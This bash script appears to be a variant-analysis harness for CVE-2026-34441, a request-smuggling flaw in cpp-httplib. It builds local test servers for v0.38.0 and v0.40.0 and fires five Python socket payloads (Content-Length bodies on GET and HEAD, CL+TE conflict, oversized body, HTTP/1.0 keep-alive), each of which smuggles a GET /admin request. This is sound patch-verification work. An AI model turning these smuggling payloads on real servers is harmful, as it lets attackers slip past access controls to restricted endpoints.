#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
mkdir -p "$LOGS"

cd "$ROOT"

echo "=========================================="
echo "CVE-2026-34441 Variant Analysis"
echo "Testing potential bypasses and variants"
echo "=========================================="
echo ""

# Get the exact commit SHAs for tested versions
VULNERABLE_SHA="6f2717e97f5e5dbd35178c0f2d9d6c9496a0d90c"  # v0.38.0
FIXED_SHA="b7e02de1afab7bf93c412b1c9f026a9b3f7f79ba"      # v0.40.0
LATEST_SHA="6607a6a5922b8cf78d01f3f4674970ccbfda73cd"       # latest master

VULNERABLE_VERSION="v0.38.0"
FIXED_VERSION="v0.40.0"
LATEST_VERSION="master"
SERVER_PORT=29999
TEST_ROOT="/tmp/httplib_variant_test"

# Cleanup function
cleanup() {
    pkill -f "variant_test_server" 2>/dev/null || true
}
trap cleanup EXIT

# Create test files
mkdir -p "$TEST_ROOT"
echo '<h1>INDEX</h1>' > "$TEST_ROOT/index.html"
echo '<h1>SECRET</h1>' > "$TEST_ROOT/secret.html"
echo '<h1>ADMIN</h1>' > "$TEST_ROOT/admin.html"

# Get source directories
VULNERABLE_DIR="$ROOT/cpp-httplib-v0.38.0"
FIXED_DIR="$ROOT/cpp-httplib-v0.40.0"
LATEST_DIR="/tmp/cpp-httplib-latest"

# Build server for a version
build_server() {
    local version=$1
    local dir=$2
    local binary="${dir}/variant_test_server"
    
    if [ -f "$binary" ]; then
        echo "[INFO] ${version} already built"
        return 0
    fi
    
    echo "[INFO] Building ${version} server..."
    
    # Create server source file
    cat > "${dir}/variant_test_server.cc" << 'SRVEOF'
#include <httplib.h>
#include <iostream>
using namespace httplib;
int main(int argc, char** argv) {
    if (argc < 3) {
        std::cerr << "Usage: variant_test_server <port> <dir>" << std::endl;
        return 1;
    }
    Server svr;
    svr.set_mount_point("/", argv[2]);
    
    // Add handler for /admin to detect smuggled requests
    svr.Get("/admin", [](const Request& req, Response& res) {
        std::cerr << "[SMUGGLED-HIT] GET /admin from " << req.remote_addr << std::endl;
        res.set_content("<h1>ADMIN ACCESS GRANTED</h1>", "text/html");
    });
    
    // Add handler for /secret to detect smuggled requests  
    svr.Get("/secret", [](const Request& req, Response& res) {
        std::cerr << "[SMUGGLED-HIT] GET /secret from " << req.remote_addr << std::endl;
        res.set_content("<h1>SECRET ACCESS GRANTED</h1>", "text/html");
    });
    
    svr.set_logger([](const Request& req, const Response& res) {
        std::cerr << "[LOG] " << req.method << " " << req.path << " " << res.status << std::endl;
    });
    
    svr.listen("127.0.0.1", atoi(argv[1]));
    return 0;
}
SRVEOF
    
    # Build in the directory where httplib.h is located
    (cd "$dir" && g++ -o variant_test_server -O2 -std=c++11 -I. -Wall -Wextra -pthread variant_test_server.cc) 2>&1 | tee "${LOGS}/build_${version}.log"
    
    if [ ! -f "$binary" ]; then
        echo "[ERROR] Failed to build ${version}"
        return 1
    fi
    echo "[INFO] ${version} built successfully"
}

# Build all versions
build_server "$VULNERABLE_VERSION" "$VULNERABLE_DIR"
build_server "$FIXED_VERSION" "$FIXED_DIR"

# Test function for variant
test_variant() {
    local variant_name=$1
    local version=$2
    local dir=$3
    local payload_python=$4
    local binary="${dir}/variant_test_server"
    local log_file="${LOGS}/server_${version}_${variant_name}.log"
    local result_file="${LOGS}/result_${version}_${variant_name}.json"
    
    echo ""
    echo "[TEST] Variant: $variant_name | Version: $version"
    
    # Kill any existing server
    pkill -f "variant_test_server" 2>/dev/null || true
    sleep 0.5
    
    # Start server
    "$binary" "$SERVER_PORT" "$TEST_ROOT" > "$log_file" 2>&1 &
    local pid=$!
    sleep 1
    
    # Check if server is running
    if ! kill -0 $pid 2>/dev/null; then
        echo "[ERROR] Server failed to start"
        return 1
    fi
    
    # Run the payload
    local smuggled_detected=0
    local response_count=0
    local admin_found=0
    
    # Execute Python payload and capture result
    python3 -c "$payload_python" 2>&1 | tee "${LOGS}/payload_${version}_${variant_name}.log"
    local payload_result=$?
    
    # Wait for server to process
    sleep 1
    
    # Parse server logs for smuggled requests
    if grep -q "SMUGGLED-HIT" "$log_file" 2>/dev/null; then
        smuggled_detected=1
    fi
    
    if grep -q "ADMIN ACCESS" "${LOGS}/payload_${version}_${variant_name}.log" 2>/dev/null; then
        admin_found=1
    fi
    
    # Kill server
    kill "$pid" 2>/dev/null || true
    wait "$pid" 2>/dev/null || true
    
    # Save result
    cat > "$result_file" << EOF
{
  "variant": "$variant_name",
  "version": "$version",
  "smuggled_detected": $smuggled_detected,
  "admin_found": $admin_found,
  "payload_result": $payload_result
}
EOF
    
    if [ $smuggled_detected -eq 1 ] && [ $admin_found -eq 1 ]; then
        echo "[VULNERABLE] Smuggling detected!"
        return 0
    else
        echo "[NOT VULNERABLE] No smuggling"
        return 1
    fi
}

# Variant 1: Original GET with Content-Length (baseline)
variant1_get_with_cl() {
    cat << 'PYEOF'
import socket
import time
import sys

host = "127.0.0.1"
port = 29999

# Smuggled request
smuggled = b"GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"

# Outer request with Content-Length
outer = (b"GET /index.html HTTP/1.1\r\n"
         b"Host: 127.0.0.1\r\n"
         b"Content-Length: " + str(len(smuggled)).encode() + b"\r\n"
         b"\r\n")

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    sock.connect((host, port))
    
    # Send headers
    sock.sendall(outer)
    time.sleep(0.2)
    
    # Read first response
    first_response = b""
    for _ in range(10):
        try:
            data = sock.recv(4096)
            if not data:
                break
            first_response += data
            if b"\r\n\r\n" in first_response:
                break
        except:
            break
    
    # Send body (smuggled request)
    sock.sendall(smuggled)
    time.sleep(0.3)
    
    # Try to read second response
    second_response = b""
    for _ in range(10):
        try:
            data = sock.recv(4096)
            if not data:
                break
            second_response += data
        except:
            break
    
    sock.close()
    
    print(f"First response: {len(first_response)} bytes")
    print(f"Second response: {len(second_response)} bytes")
    
    if b"ADMIN ACCESS" in second_response:
        print("ADMIN ACCESS GRANTED")
        sys.exit(0)
    else:
        sys.exit(1)
        
except Exception as e:
    print(f"Error: {e}")
    sys.exit(1)
PYEOF
}

# Variant 2: GET with chunked Transfer-Encoding (CL+TE attempt)
variant2_cl_te() {
    cat << 'PYEOF'
import socket
import time
import sys

host = "127.0.0.1"
port = 29999

# Smuggled request
smuggled = b"GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"

# Outer request with both Content-Length and Transfer-Encoding (CL+TE)
outer = (b"GET /index.html HTTP/1.1\r\n"
         b"Host: 127.0.0.1\r\n"
         b"Content-Length: 5\r\n"
         b"Transfer-Encoding: chunked\r\n"
         b"\r\n"
         b"5\r\n" + b"XXXXX" + b"\r\n"
         b"0\r\n\r\n")

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    sock.connect((host, port))
    
    sock.sendall(outer)
    time.sleep(0.5)
    
    response = b""
    for _ in range(10):
        try:
            data = sock.recv(4096)
            if not data:
                break
            response += data
        except:
            break
    
    sock.close()
    
    print(f"Response: {len(response)} bytes")
    print(f"Response preview: {response[:200]}")
    
    # Check if we got 400 Bad Request (fix working)
    if b"400" in response[:20]:
        print("Got 400 Bad Request - CL+TE fix working")
        sys.exit(1)
    elif b"ADMIN ACCESS" in response:
        print("ADMIN ACCESS GRANTED - CL+TE bypass worked!")
        sys.exit(0)
    else:
        sys.exit(1)
        
except Exception as e:
    print(f"Error: {e}")
    sys.exit(1)
PYEOF
}

# Variant 3: HEAD request with Content-Length
variant3_head_with_cl() {
    cat << 'PYEOF'
import socket
import time
import sys

host = "127.0.0.1"
port = 29999

# Smuggled request
smuggled = b"GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"

# HEAD request with Content-Length
outer = (b"HEAD /index.html HTTP/1.1\r\n"
         b"Host: 127.0.0.1\r\n"
         b"Content-Length: " + str(len(smuggled)).encode() + b"\r\n"
         b"\r\n")

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    sock.connect((host, port))
    
    # Send headers
    sock.sendall(outer)
    time.sleep(0.2)
    
    # Read first response
    first_response = b""
    for _ in range(10):
        try:
            data = sock.recv(4096)
            if not data:
                break
            first_response += data
            if b"\r\n\r\n" in first_response:
                break
        except:
            break
    
    # Send body (smuggled request)
    sock.sendall(smuggled)
    time.sleep(0.3)
    
    # Try to read second response
    second_response = b""
    for _ in range(10):
        try:
            data = sock.recv(4096)
            if not data:
                break
            second_response += data
        except:
            break
    
    sock.close()
    
    print(f"First response: {len(first_response)} bytes")
    print(f"Second response: {len(second_response)} bytes")
    
    if b"ADMIN ACCESS" in second_response:
        print("ADMIN ACCESS GRANTED")
        sys.exit(0)
    else:
        sys.exit(1)
        
except Exception as e:
    print(f"Error: {e}")
    sys.exit(1)
PYEOF
}

# Variant 4: GET with oversized body (test drain failure handling)
variant4_oversized_body() {
    cat << 'PYEOF'
import socket
import time
import sys

host = "127.0.0.1"
port = 29999

# Create an oversized body (larger than typical payload_max_length)
# Try to trigger the drain failure path
big_body = b"X" * (1024 * 1024 + 100)  # ~1MB + 100 bytes

# Smuggled request at the end
smuggled = b"GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"

full_body = big_body + smuggled

outer = (b"GET /index.html HTTP/1.1\r\n"
         b"Host: 127.0.0.1\r\n"
         b"Content-Length: " + str(len(full_body)).encode() + b"\r\n"
         b"\r\n")

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((host, port))
    
    # Send headers
    sock.sendall(outer)
    time.sleep(0.2)
    
    # Read first response
    first_response = b""
    for _ in range(10):
        try:
            data = sock.recv(4096)
            if not data:
                break
            first_response += data
            if b"\r\n\r\n" in first_response:
                break
        except:
            break
    
    # Send body (includes smuggled request at end)
    sock.sendall(full_body)
    time.sleep(1)
    
    # Try to read any additional response
    second_response = b""
    for _ in range(20):
        try:
            data = sock.recv(4096)
            if not data:
                break
            second_response += data
        except:
            break
    
    sock.close()
    
    print(f"First response: {len(first_response)} bytes")
    print(f"Second response: {len(second_response)} bytes")
    
    if b"ADMIN ACCESS" in second_response:
        print("ADMIN ACCESS GRANTED - oversized body bypass!")
        sys.exit(0)
    else:
        sys.exit(1)
        
except Exception as e:
    print(f"Error: {e}")
    sys.exit(1)
PYEOF
}

# Variant 5: HTTP/1.0 with keep-alive (different protocol version)
variant5_http10() {
    cat << 'PYEOF'
import socket
import time
import sys

host = "127.0.0.1"
port = 29999

# Smuggled request
smuggled = b"GET /admin HTTP/1.0\r\nConnection: keep-alive\r\n\r\n"

# HTTP/1.0 request with body
outer = (b"GET /index.html HTTP/1.0\r\n"
         b"Host: 127.0.0.1\r\n"
         b"Content-Length: " + str(len(smuggled)).encode() + b"\r\n"
         b"Connection: keep-alive\r\n"
         b"\r\n")

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    sock.connect((host, port))
    
    # Send headers
    sock.sendall(outer)
    time.sleep(0.2)
    
    # Read first response
    first_response = b""
    for _ in range(10):
        try:
            data = sock.recv(4096)
            if not data:
                break
            first_response += data
            if b"\r\n\r\n" in first_response:
                break
        except:
            break
    
    # Send body (smuggled request)
    sock.sendall(smuggled)
    time.sleep(0.3)
    
    # Try to read second response
    second_response = b""
    for _ in range(10):
        try:
            data = sock.recv(4096)
            if not data:
                break
            second_response += data
        except:
            break
    
    sock.close()
    
    print(f"First response: {len(first_response)} bytes")
    print(f"Second response: {len(second_response)} bytes")
    
    if b"ADMIN ACCESS" in second_response:
        print("ADMIN ACCESS GRANTED")
        sys.exit(0)
    else:
        sys.exit(1)
        
except Exception as e:
    print(f"Error: {e}")
    sys.exit(1)
PYEOF
}

# Run tests
echo ""
echo "=========================================="
echo "TEST SUITE: Variant Analysis"
echo "=========================================="

# Test all variants against vulnerable version
echo ""
echo "--- Testing against VULNERABLE version ($VULNERABLE_VERSION) ---"
test_variant "v1_get_baseline" "$VULNERABLE_VERSION" "$VULNERABLE_DIR" "$(variant1_get_with_cl)" && V1_VULN=0 || V1_VULN=1
test_variant "v2_cl_te" "$VULNERABLE_VERSION" "$VULNERABLE_DIR" "$(variant2_cl_te)" && V2_VULN=0 || V2_VULN=1
test_variant "v3_head" "$VULNERABLE_VERSION" "$VULNERABLE_DIR" "$(variant3_head_with_cl)" && V3_VULN=0 || V3_VULN=1
test_variant "v4_oversized" "$VULNERABLE_VERSION" "$VULNERABLE_DIR" "$(variant4_oversized_body)" && V4_VULN=0 || V4_VULN=1
test_variant "v5_http10" "$VULNERABLE_VERSION" "$VULNERABLE_DIR" "$(variant5_http10)" && V5_VULN=0 || V5_VULN=1

# Test all variants against fixed version
echo ""
echo "--- Testing against FIXED version ($FIXED_VERSION) ---"
test_variant "v1_get_baseline" "$FIXED_VERSION" "$FIXED_DIR" "$(variant1_get_with_cl)" && V1_FIX=0 || V1_FIX=1
test_variant "v2_cl_te" "$FIXED_VERSION" "$FIXED_DIR" "$(variant2_cl_te)" && V2_FIX=0 || V2_FIX=1
test_variant "v3_head" "$FIXED_VERSION" "$FIXED_DIR" "$(variant3_head_with_cl)" && V3_FIX=0 || V3_FIX=1
test_variant "v4_oversized" "$FIXED_VERSION" "$FIXED_DIR" "$(variant4_oversized_body)" && V4_FIX=0 || V4_FIX=1
test_variant "v5_http10" "$FIXED_VERSION" "$FIXED_DIR" "$(variant5_http10)" && V5_FIX=0 || V5_FIX=1

# Summary
echo ""
echo "=========================================="
echo "SUMMARY"
echo "=========================================="
echo ""
echo "Variant Results (0=vulnerable, 1=not vulnerable):"
echo ""
printf "%-30s | %-15s | %-15s\n" "Variant" "$VULNERABLE_VERSION" "$FIXED_VERSION"
printf "%-30s | %-15s | %-15s\n" "------------------------------" "---------------" "---------------"
printf "%-30s | %-15s | %-15s\n" "v1_get_baseline (original)" "$V1_VULN" "$V1_FIX"
printf "%-30s | %-15s | %-15s\n" "v2_cl_te (CL+TE)" "$V2_VULN" "$V2_FIX"
printf "%-30s | %-15s | %-15s\n" "v3_head (HEAD method)" "$V3_VULN" "$V3_FIX"
printf "%-30s | %-15s | %-15s\n" "v4_oversized (large body)" "$V4_VULN" "$V4_FIX"
printf "%-30s | %-15s | %-15s\n" "v5_http10 (HTTP/1.0)" "$V5_VULN" "$V5_FIX"

echo ""

# Determine if any bypass was found
BYPASS_FOUND=1
if [ "$V1_FIX" = "0" ] || [ "$V2_FIX" = "0" ] || [ "$V3_FIX" = "0" ] || [ "$V4_FIX" = "0" ] || [ "$V5_FIX" = "0" ]; then
    BYPASS_FOUND=0
    echo "[CRITICAL] BYPASS FOUND: One or more variants work against the fixed version!"
fi

# Save final results
cat > "${LOGS}/final_variant_results.json" << EOF
{
  "test_timestamp": "$(date -Iseconds)",
  "vulnerable_version": "$VULNERABLE_VERSION",
  "vulnerable_sha": "$VULNERABLE_SHA",
  "fixed_version": "$FIXED_VERSION",
  "fixed_sha": "$FIXED_SHA",
  "latest_sha": "$LATEST_SHA",
  "results": {
    "v1_get_baseline": {"vulnerable": $V1_VULN, "fixed": $V1_FIX},
    "v2_cl_te": {"vulnerable": $V2_VULN, "fixed": $V2_FIX},
    "v3_head": {"vulnerable": $V3_VULN, "fixed": $V3_FIX},
    "v4_oversized": {"vulnerable": $V4_VULN, "fixed": $V4_FIX},
    "v5_http10": {"vulnerable": $V5_VULN, "fixed": $V5_FIX}
  },
  "bypass_found": $BYPASS_FOUND
}
EOF

if [ $BYPASS_FOUND -eq 0 ]; then
    echo ""
    echo "[EXIT CODE 0] Bypass confirmed - variant works against fixed version"
    exit 0
else
    echo ""
    echo "[EXIT CODE 1] No bypass found - all variants blocked by fix"
    exit 1
fi